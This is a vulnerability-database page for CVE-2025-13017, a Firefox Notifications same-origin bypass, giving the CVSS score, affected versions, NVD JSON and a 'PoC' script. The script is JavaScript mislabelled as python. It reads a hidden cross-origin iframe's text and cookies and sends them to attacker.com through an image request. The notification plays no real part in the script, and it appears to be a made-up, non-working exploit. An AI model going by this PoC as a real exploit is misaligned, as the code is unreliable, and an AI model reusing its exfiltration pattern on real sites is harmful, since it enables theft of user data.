Security Vulnerability Report
中文
CVE-2025-13017 CVSS 8.1 HIGH

CVE-2025-13017

Published: 2025-11-11 16:15:39
Last Modified: 2026-04-13 15:16:43

Description

Same-origin policy bypass in the DOM: Notifications component. This vulnerability was fixed in Firefox 145, Firefox ESR 140.5, Thunderbird 145, and Thunderbird 140.5.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:* - VULNERABLE
cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:* - VULNERABLE
Mozilla Firefox < 145
Mozilla Firefox ESR < 140.5
Mozilla Thunderbird < 145
Mozilla Thunderbird ESR < 140.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-13017 PoC - Same-origin Policy Bypass via DOM Notifications // This is a demonstration of the SOP bypass vulnerability in Firefox Notifications component // Note: This PoC is for educational and security research purposes only const ATTACKER_DOMAIN = 'attacker.com'; const TARGET_DOMAIN = 'target-site.com'; async function exploitSOPBypass() { console.log('[+] Starting CVE-2025-13017 exploitation...'); // Step 1: Request notification permission if (Notification.permission === 'default') { console.log('[*] Requesting notification permission...'); await Notification.requestPermission(); } if (Notification.permission !== 'granted') { console.log('[-] Notification permission denied'); return; } console.log('[+] Notification permission granted'); // Step 2: Create an iframe pointing to target domain const iframe = document.createElement('iframe'); iframe.src = `https://${TARGET_DOMAIN}/sensitive-data-page`; iframe.id = 'target-frame'; iframe.style.display = 'none'; document.body.appendChild(iframe); // Wait for iframe to load await new Promise(resolve => { iframe.onload = resolve; setTimeout(resolve, 5000); // Timeout fallback }); console.log('[+] Target iframe loaded'); // Step 3: Create a notification that references the target iframe const notification = new Notification('System Update', { body: 'Your system requires an update.', icon: '/images/icon.png', tag: 'sop-bypass-' + Date.now(), requireInteraction: false }); console.log('[+] Notification created'); // Step 4: Exploit the SOP bypass through notification-DOM association // The vulnerability allows access to cross-origin content through notification object try { // Attempt to access the target iframe through notification-associated DOM const targetFrame = document.getElementById('target-frame'); if (targetFrame && targetFrame.contentWindow) { // This should be blocked by SOP, but the vulnerability allows bypass const sensitiveData = targetFrame.contentWindow.document.body.innerText; console.log('[+] Successfully bypassed SOP!'); console.log('[+] Stolen data:', sensitiveData); // Send stolen data to attacker's server exfiltrateData(sensitiveData); } } catch (error) { console.log('[-] Direct access blocked, trying alternative method...'); // Alternative exploitation through notification event handlers notification.onshow = function() { // Attempt to trigger cross-origin access through event context const targetDoc = document.getElementById('target-frame').contentWindow.document; if (targetDoc) { const data = targetDoc.cookie || targetDoc.body.innerText; exfiltrateData(data); } }; } // Cleanup setTimeout(() => { notification.close(); document.body.removeChild(iframe); }, 10000); } function exfiltrateData(data) { // Send stolen data to attacker-controlled server const img = new Image(); img.src = `https://${ATTACKER_DOMAIN}/collect?data=${encodeURIComponent(data)}`; console.log('[+] Data exfiltrated to attacker server'); } // Execute when page loads document.addEventListener('DOMContentLoaded', () => { console.log('[+] CVE-2025-13017 PoC loaded'); console.log('[*] Click anywhere to start exploitation...'); document.addEventListener('click', () => { exploitSOPBypass(); }, { once: true }); }, false);

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13017", "sourceIdentifier": "[email protected]", "published": "2025-11-11T16:15:38.793", "lastModified": "2026-04-13T15:16:42.840", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Same-origin policy bypass in the DOM: Notifications component. This vulnerability was fixed in Firefox 145, Firefox ESR 140.5, Thunderbird 145, and Thunderbird 140.5."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-942"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:*", "versionEndExcluding": "140.5.0", "matchCriteriaId": "D77916A6-B8C6-475D-8D77-D5D3AA1E1F43"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:*", "versionEndExcluding": "145.0", "matchCriteriaId": "445D5AED-0882-46FE-A5F1-B7148B923221"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1980904", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-87/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-88/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-90/", "source": "[email protected]"}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-91/", "source": "[email protected]"}]}}